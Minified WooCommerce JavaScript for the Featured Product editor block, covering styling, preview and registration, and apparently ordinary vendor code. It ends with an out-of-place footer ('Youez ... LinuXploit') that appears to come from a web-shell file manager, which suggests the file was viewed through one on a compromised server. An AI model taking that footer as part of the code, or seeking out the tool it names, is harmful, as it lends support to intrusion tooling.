r=t.style;return(0,N.isString)(r)&&(r=JSON.parse(r)||{}),(0,N.isObject)(r)||(r={}),{...t,style:r}})(e),r=function(e){const{backgroundColor:t,textColor:r,gradient:o,style:s}=e,a=ye("background-color",t),i=ye("color",r),n=function(e){if(e)return`has-${e}-gradient-background`}(o),c=n||s?.color?.gradient;return{className:(0,F.A)(i,n,{[a]:!c&&!!a,"has-text-color":r||s?.color?.text,"has-background":t||s?.color?.background||o||s?.color?.gradient,"has-link-color":(0,N.isObject)(s?.elements?.link)?s?.elements?.link?.color:void 0}),style:ve({color:s?.color||{}})}}(t),o=function(e){const t=e.style?.border||{};return{className:function(e){const{borderColor:t,style:r}=e,o=t?ye("border-color",t):"";return(0,F.A)({"has-border-color":!!t||!!r?.border?.color,[o]:!!o})}(e),style:ve({border:t})}}(t),s=function(e){return{className:void 0,style:ve({spacing:e.style?.spacing||{}})}}(t),a=(e=>{const t=(0,N.isObject)(e.style.typography)?e.style.typography:{},r=(0,N.isString)(t.fontFamily)?t.fontFamily:"";return{className:e.fontFamily?`has-${e.fontFamily}-font-family`:r,style:{fontSize:e.fontSize?`var(--wp--preset--font-size--${e.fontSize})`:t.fontSize,fontStyle:t.fontStyle,fontWeight:t.fontWeight,letterSpacing:t.letterSpacing,lineHeight:t.lineHeight,textDecoration:t.textDecoration,textTransform:t.textTransform}}})(t);return{className:(0,F.A)(a.className,r.className,o.className,s.className),style:{...a.style,...r.style,...o.style,...s.style}}},je=window.wp.autop,ke=(e,t)=>e.replace(/[\s|\.\,]+$/i,"")+t,Ie=(e,t,r=!0,o="&hellip;",s=!0)=>{const a=e.replace(/<\/?[a-z][^>]*?>/gi,""),i=a.slice(0,t);if(i===a)return s?(0,je.autop)(a):a;if(r)return(0,je.autop)(ke(i,o));const n=i.match(/([\s]+)/g),c=n?n.length:0,l=a.slice(0,t+c);return s?(0,je.autop)(ke(l,o)):ke(l,o)},Ce=({itemId:e,linkText:t,permalink:r})=>{const o=(0,F.A)("wp-block-button__link","is-style-fill");return"preview"===e?(0,f.jsx)("div",{className:"wp-block-button aligncenter",style:{width:"100%"},children:(0,f.jsx)(j.RichText.Content,{tagName:"a",className:o,href:r,title:t,style:{backgroundColor:"vivid-green-cyan",borderRadius:"5px"},value:t,target:r})}):(0,f.jsx)(j.InnerBlocks,{template:[["core/buttons",{layout:{type:"flex",justifyContent:"center"}},[["core/button",{text:(0,S.__)("Shop now","woocommerce"),url:r}]]]],templateLock:"all"})},Pe=({className:e="",onResize:t,...r})=>{const[o,s]=(0,a.useState)(!1),i=(0,F.A)(e,{"is-resizing":o}),n=(0,de.dh)(((e,r,a,i)=>{o||s(!0),t?.(e,r,a,i)}),50,{leading:!0});return(0,f.jsx)(y.ResizableBox,{className:i,enable:{bottom:!0},onResize:n,onResizeStop:(...e)=>{t?.(...e),s(!1)},...r})},Ee=window.wp.data,Ne={icon:s.A,label:(0,S.__)("Featured Product","woocommerce")},Ae={...Ne,cropLabel:(0,S.__)("Edit product image","woocommerce"),editLabel:(0,S.__)("Edit selected product","woocommerce")},Re={...Ne,emptyMessage:(0,S.__)("No product is selected.","woocommerce"),noSelectionButtonLabel:(0,S.__)("Select a product","woocommerce")},Le={...Ne,description:(0,S.__)("Highlight a product or variation.","woocommerce"),editLabel:(0,S.__)("Showing Featured Product block preview.","woocommerce")},Oe=(0,i.compose)([v,y.withSpokenMessages,e=>t=>{const[r,o]=(0,a.useState)(!1),{attributes:s,category:i,clientId:n,product:c}=t,l=i||c,{editMode:d}=s,m=l?.link||l?.permalink,u=(0,Ee.useSelect)((e=>e("core/block-editor").getBlock(n))),p=u?.innerBlocks[0]?.innerBlocks[0],g=p?.clientId||"",h=(0,a.useMemo)((()=>p?.attributes||{}),[p]),{url:_}=h,{updateBlockAttributes:b}=(0,Ee.useDispatch)("core/block-editor");return(0,a.useEffect)((()=>{r&&g&&!d&&m&&_&&m!==_&&(b(g,{url:m}),o(!1))}),[g,r,d,m,b,_]),(0,f.jsx)(e,{...t,triggerUrlUpdate:()=>o(!0)})},e=>t=>{const[r,o]=(0,a.useState)(!1),{isSelected:s}=t;return(0,a.useEffect)((()=>{o(!1)}),[s]),(0,f.jsx)(e,{...t,useEditingImage:[r,o]})},(({description:e,editLabel:t,icon:r,label:o})=>s=>a=>{const{attributes:i,debouncedSpeak:n,name:c,setAttributes:l,triggerUrlUpdate:d=()=>{}}=a,m=D(c);return i.editMode?(0,f.jsxs)(y.Placeholder,{icon:(0,f.jsx)(y.Icon,{icon:r}),label:o,className:m,children:[e,(0,f.jsxs)("div",{className:`${m}__selection`,children:[c===P&&(0,f.jsx)(le,{selected:i.categoryId?[i.categoryId]:[],onChange:(e=[])=>{const t=e[0]?e[0].id:0;l({categoryId:t,mediaId:0,mediaSrc:""}),d()},isSingle:!0}),c===E&&(0,f.jsx)(be,{selected:i.productId?[i.productId]:[],showVariations:!0,onChange:(e=[])=>{const t=e[0]?e[0].id:0;l({productId:t,mediaId:0,mediaSrc:""}),d()}}),(0,f.jsx)(y.Button,{variant:"primary",onClick:()=>{l({editMode:!1}),n(t)},children:(0,S.__)("Done","woocommerce")})]})]}):(0,f.jsx)(s,{...a})})(Le),(({emptyMessage:e,icon:t,label:r,noSelectionButtonLabel:o})=>s=>i=>{const[n]=i.useEditingImage,{attributes:c,category:l,isLoading:d,isSelected:m,name:u,product:p,setAttributes:g}=i,{mediaId:h,mediaSrc:_}=c,b=l||p,[x,w]=(0,a.useState)({}),{backgroundImageSrc:v}=R({item:b,mediaId:h,mediaSrc:_,blockName:u}),S=D(u),j=(0,a.useCallback)(((e,t,r)=>{g({minHeight:parseInt(r.style.height,10)})}),[g]),k=()=>{const{categoryId:e,linkText:t,productId:r}=c;return(0,f.jsx)(Ce,{itemId:e||r,linkText:t,permalink:(l||p).permalink})},I=Se(c);return n?(0,f.jsx)(s,{...i,backgroundImageSize:x}):(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)(s,{...i,backgroundImageSize:x}),b?(()=>{const{contentAlign:e,dimRatio:t,focalPoint:r,hasParallax:o,isRepeated:s,imageFit:a,minHeight:i,overlayColor:n,overlayGradient:u,showDesc:g,showPrice:h,style:_,textColor:x}=c,y=(0,F.A)(S,{"is-selected":m&&"preview"!==c.categoryId&&"preview"!==c.productId,"is-loading":!b&&d,"is-not-found":!b&&!d,"has-background-dim":0!==t,"is-repeated":s},0===(C=t)||50===C?null:"has-background-dim-"+10*Math.round(C/10),"center"!==e&&`has-${e}-content`,I.className);var C;const P={borderRadius:_?.border?.radius,color:x?`var(--wp--preset--color--${x})`:_?.color?.text,boxSizing:"border-box",minHeight:i,...I.style},E=!s&&!o,A=function({focalPoint:e,imageFit:t,isImgElement:r,isRepeated:o,url:s}){let a={};var i;return a=r?{...a,...(i=e,i?{objectPosition:z(i)}:{}),objectFit:t}:{...a,...s&&{backgroundImage:`url(${s})`},backgroundPosition:z(e),...!o&&{backgroundRepeat:"no-repeat",backgroundSize:"cover"===t?t:"auto"}},a}({focalPoint:r,imageFit:a,isImgElement:E,isRepeated:s,url:v}),R={background:u,backgroundColor:n};return(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)(Pe,{enable:{bottom:!0},onResize:j,showHandle:m,style:{minHeight:i}}),(0,f.jsx)("div",{className:y,style:P,children:(0,f.jsxs)("div",{className:`${S}__wrapper`,children:[(0,f.jsx)("div",{className:"background-dim__overlay",style:R}),v&&(E?(0,f.jsx)("img",{alt:b.name,className:`${S}__background-image`,src:v,style:A,onLoad:e=>{w({height:e.currentTarget?.naturalHeight,width:e.currentTarget?.naturalWidth})}}):(0,f.jsx)("div",{className:(0,F.A)(`${S}__background-image`,{"has-parallax":o}),style:A})),(0,f.jsx)("h2",{className:`${S}__title`,dangerouslySetInnerHTML:{__html:b.name}}),!(0,N.isEmpty)(p?.variation)&&(0,f.jsx)("h3",{className:`${S}__variation`,dangerouslySetInnerHTML:{__html:p.variation}}),g&&(0,f.jsx)("div",{className:`${S}__description`,dangerouslySetInnerHTML:{__html:l?.description||p?.short_description||(p?.description?.length>0?Ie(p.description,400):"")}}),h&&(0,f.jsx)("div",{className:`${S}__price`,dangerouslySetInnerHTML:{__html:p.price_html}}),(0,f.jsx)("div",{className:`${S}__link`,children:k()})]})})]})})():(0,f.jsx)(y.Placeholder,{className:S,icon:(0,f.jsx)(y.Icon,{icon:t}),label:r,children:d?(0,f.jsx)(y.Spinner,{}):(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)("p",{children:e}),(0,f.jsx)("div",{style:{flexBasis:"100%",height:"0"}}),(0,f.jsx)("button",{type:"button",className:"components-button is-secondary",onClick:()=>g({editMode:!0}),children:o})]})})]})})(Re),e=>t=>{const{error:r,isLoading:o,name:s}=t,a=D(s),i=s===P?t.getCategory:t.getProduct;return r?(0,f.jsx)(H,{className:`${a}-error`,error:r,isLoading:o,onRetry:i}):(0,f.jsx)(e,{...t})},e=>t=>{const[r,o]=t.useEditingImage,s=(0,a.useRef)(null),{attributes:i,backgroundImageSize:n,name:c,setAttributes:l}=t,{mediaId:d,mediaSrc:m}=i,u=c===E?t.product:t.category,{backgroundImageId:p,backgroundImageSrc:g}=R({item:u,mediaId:d,mediaSrc:m,blockName:c});return r?(0,f.jsx)("div",{ref:s,children:(0,f.jsx)(O,{align:i.align,backgroundImageId:p,backgroundImageSize:n,backgroundImageSrc:g,containerRef:s,isEditingImage:r,setAttributes:l,setIsEditingImage:o})}):(0,f.jsx)(e,{...t})},e=>t=>{const{attributes:r,name:o,setAttributes:s}=t,{alt:a,dimRatio:i,focalPoint:n,hasParallax:c,isRepeated:l,imageFit:d,mediaId:m,mediaSrc:u,overlayColor:p,overlayGradient:g,showDesc:h,showPrice:_}=r,b=o===E?t.product:t.category,{setGradient:x}=(0,j.__experimentalUseGradient)({gradientAttribute:"overlayGradient",customGradientAttribute:"overlayGradient"}),{backgroundImageSrc:w}=R({item:b,mediaId:m,mediaSrc:u,blockName:o}),v=o===E?(0,f.jsx)(y.ToggleControl,{label:(0,S.__)("Show price","woocommerce"),checked:_,onChange:()=>s({showPrice:!_})}):void 0;return(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)($,{alt:a,backgroundImageSrc:w,contentPanel:v,dimRatio:i,focalPoint:n,hasParallax:c,isRepeated:l,imageFit:d,overlayColor:p,overlayGradient:g,setAttributes:s,setGradient:x,showDesc:h}),(0,f.jsx)(e,{...t})]})},(({cropLabel:e,editLabel:t})=>r=>o=>{const[s,a]=o.useEditingImage,{attributes:i,category:n,name:c,product:l,setAttributes:d}=o,{contentAlign:m,editMode:u,mediaId:p,mediaSrc:g}=i,h=n||l,{backgroundImageId:_,backgroundImageSrc:b}=R({item:h,mediaId:p,mediaSrc:g,blockName:c});return(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)(L,{backgroundImageId:_,backgroundImageSrc:b,contentAlign:m,cropLabel:e,editLabel:t,editMode:u,isEditingImage:s,mediaSrc:g,setAttributes:d,setIsEditingImage:a}),(0,f.jsx)(r,{...o})]})})(Ae)])((()=>(0,f.jsx)(f.Fragment,{}))),$e=window.wp.blocks;function Te(e){return function(t){const r=(0,j.useBlockProps)(),{color:o,...s}=r.style;return(0,f.jsx)("div",{...r,style:s,children:(0,f.jsx)(e,{...t})})}}!function(e,t,r,o){const s={attributes:{...r.attributes,minHeight:{type:"number",default:(0,d.getSetting)("defaultHeight",500)}},supports:{...r.supports,color:{background:r.supports?.color?.background,text:r.supports?.color?.text},spacing:{padding:r.supports?.spacing?.padding,__experimentalDefaultControls:{padding:r.supports?.spacing?.__experimentalDefaultControls},__experimentalSkipSerialization:r.supports?.spacing?.__experimentalSkipSerialization},__experimentalBorder:r?.supports?.__experimentalBorder}},a={attributes:{alt:"",contentAlign:"center",dimRatio:50,editMode:!1,hasParallax:!1,isRepeated:!1,height:(0,d.getSetting)("defaultHeight",500),mediaSrc:"",overlayColor:"#000000",showDesc:!0}};(0,$e.registerBlockType)(r,{...s,example:{...a,...t},edit:Te(e),save:()=>(0,f.jsx)(j.InnerBlocks.Content,{}),...o})}(Oe,{attributes:{productId:"preview",previewProduct:{id:1,name:"WordPress Pennant",variation:"",permalink:"https://example.org",sku:"wp-pennant",short_description:(0,S.__)("Fly your WordPress banner with this beauty! Deck out your office space or add it to your kids walls. This banner will spruce up any space it’s hung!","woocommerce"),description:"Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Vestibulum tortor quam, feugiat vitae, ultricies eget, tempor sit amet, ante. Donec eu libero sit amet quam egestas semper. Aenean ultricies mi vitae est. Mauris placerat eleifend leo.",price:"7.99",price_html:'<span class="woocommerce-Price-amount amount"><span class="woocommerce-Price-currencySymbol">$</span>7.99</span>',images:[{id:1,src:u+"previews/pennant.jpg",thumbnail:u+"previews/pennant.jpg",name:"pennant-1.jpg",alt:"WordPress Pennant",srcset:"",sizes:""}],average_rating:5,categories:[{id:1,name:"Decor",slug:"decor",link:"https://example.org"}],review_count:1,prices:{currency_code:"GBP",decimal_separator:".",thousand_separator:",",decimals:2,price_prefix:"£",price_suffix:"",price:"7.99",regular_price:"9.99",sale_price:"7.99",price_range:null},add_to_cart:{text:(0,S.__)("Add to cart","woocommerce"),description:(0,S.__)("Add to cart","woocommerce")},has_options:!1,is_purchasable:!0,is_in_stock:!0,on_sale:!0},editMode:!1}},JSON.parse('{"name":"woocommerce/featured-product","title":"Featured Product","description":"Highlight a product or variation.","category":"woocommerce","keywords":["WooCommerce"],"supports":{"interactivity":{"clientNavigation":true},"align":["wide","full"],"ariaLabel":true,"html":false,"color":{"background":true,"text":true},"spacing":{"padding":true,"__experimentalDefaultControls":{"padding":true},"__experimentalSkipSerialization":true},"__experimentalBorder":{"color":true,"radius":true,"width":true,"__experimentalSkipSerialization":true},"multiple":true},"attributes":{"alt":{"type":"string","default":""},"contentAlign":{"type":"string","default":"center"},"dimRatio":{"type":"number","default":50},"editMode":{"type":"boolean","default":true},"focalPoint":{"type":"object","default":{"x":0.5,"y":0.5}},"imageFit":{"type":"string","default":"none"},"hasParallax":{"type":"boolean","default":false},"isRepeated":{"type":"boolean","default":false},"mediaId":{"type":"number","default":0},"mediaSrc":{"type":"string","default":""},"minHeight":{"type":"number","default":500},"linkText":{"type":"string","default":"Shop now"},"overlayColor":{"type":"string","default":"#000000"},"overlayGradient":{"type":"string"},"productId":{"type":"number"},"previewProduct":{"type":"object","default":null},"showDesc":{"type":"boolean","default":true},"showPrice":{"type":"boolean","default":true}},"textdomain":"woocommerce","apiVersion":3,"$schema":"https://schemas.wp.org/trunk/block.json"}'),{icon:{src:(0,f.jsx)(o.A,{icon:s.A,className:"wc-block-editor-components-block-icon"})}})},210:()=>{},6388:()=>{},3120:()=>{},6982:()=>{},5653:()=>{},1939:()=>{},5022:()=>{},1609:e=>{"use strict";e.exports=window.React},790:e=>{"use strict";e.exports=window.ReactJSXRuntime},9491:e=>{"use strict";e.exports=window.wp.compose},6087:e=>{"use strict";e.exports=window.wp.element},7723:e=>{"use strict";e.exports=window.wp.i18n},923:e=>{"use strict";e.exports=window.wp.isShallowEqual},5573:e=>{"use strict";e.exports=window.wp.primitives}},s={};function a(e){var t=s[e];if(void 0!==t)return t.exports;var r=s[e]={exports:{}};return o[e].call(r.exports,r,r.exports,a),r.exports}a.m=o,e=[],a.O=(t,r,o,s)=>{if(!r){var i=1/0;for(d=0;d<e.length;d++){for(var[r,o,s]=e[d],n=!0,c=0;c<r.length;c++)(!1&s||i>=s)&&Object.keys(a.O).every((e=>a.O[e](r[c])))?r.splice(c--,1):(n=!1,s<i&&(i=s));if(n){e.splice(d--,1);var l=o();void 0!==l&&(t=l)}}return t}s=s||0;for(var d=e.length;d>0&&e[d-1][2]>s;d--)e[d]=e[d-1];e[d]=[r,o,s]},a.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return a.d(t,{a:t}),t},r=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,a.t=function(e,o){if(1&o&&(e=this(e)),8&o)return e;if("object"==typeof e&&e){if(4&o&&e.__esModule)return e;if(16&o&&"function"==typeof e.then)return e}var s=Object.create(null);a.r(s);var i={};t=t||[null,r({}),r([]),r(r)];for(var n=2&o&&e;"object"==typeof n&&!~t.indexOf(n);n=r(n))Object.getOwnPropertyNames(n).forEach((t=>i[t]=()=>e[t]));return i.default=()=>e,a.d(s,i),s},a.d=(e,t)=>{for(var r in t)a.o(t,r)&&!a.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},a.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),a.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},a.j=8931,(()=>{var e={8931:0};a.O.j=t=>0===e[t];var t=(t,r)=>{var o,s,[i,n,c]=r,l=0;if(i.some((t=>0!==e[t]))){for(o in n)a.o(n,o)&&(a.m[o]=n[o]);if(c)var d=c(a)}for(t&&t(r);l<i.length;l++)s=i[l],a.o(e,s)&&e[s]&&e[s][0](),e[s]=0;return a.O(d)},r=globalThis.webpackChunkwebpackWcBlocksMainJsonp=globalThis.webpackChunkwebpackWcBlocksMainJsonp||[];r.forEach(t.bind(null,0)),r.push=t.bind(null,r.push.bind(r))})();var i=a.O(void 0,[94],(()=>a(9553)));i=a.O(i),((this.wc=this.wc||{}).blocks=this.wc.blocks||{})["featured-product"]=i})();

Youez - 2016 - github.com/yon3zu
LinuXploit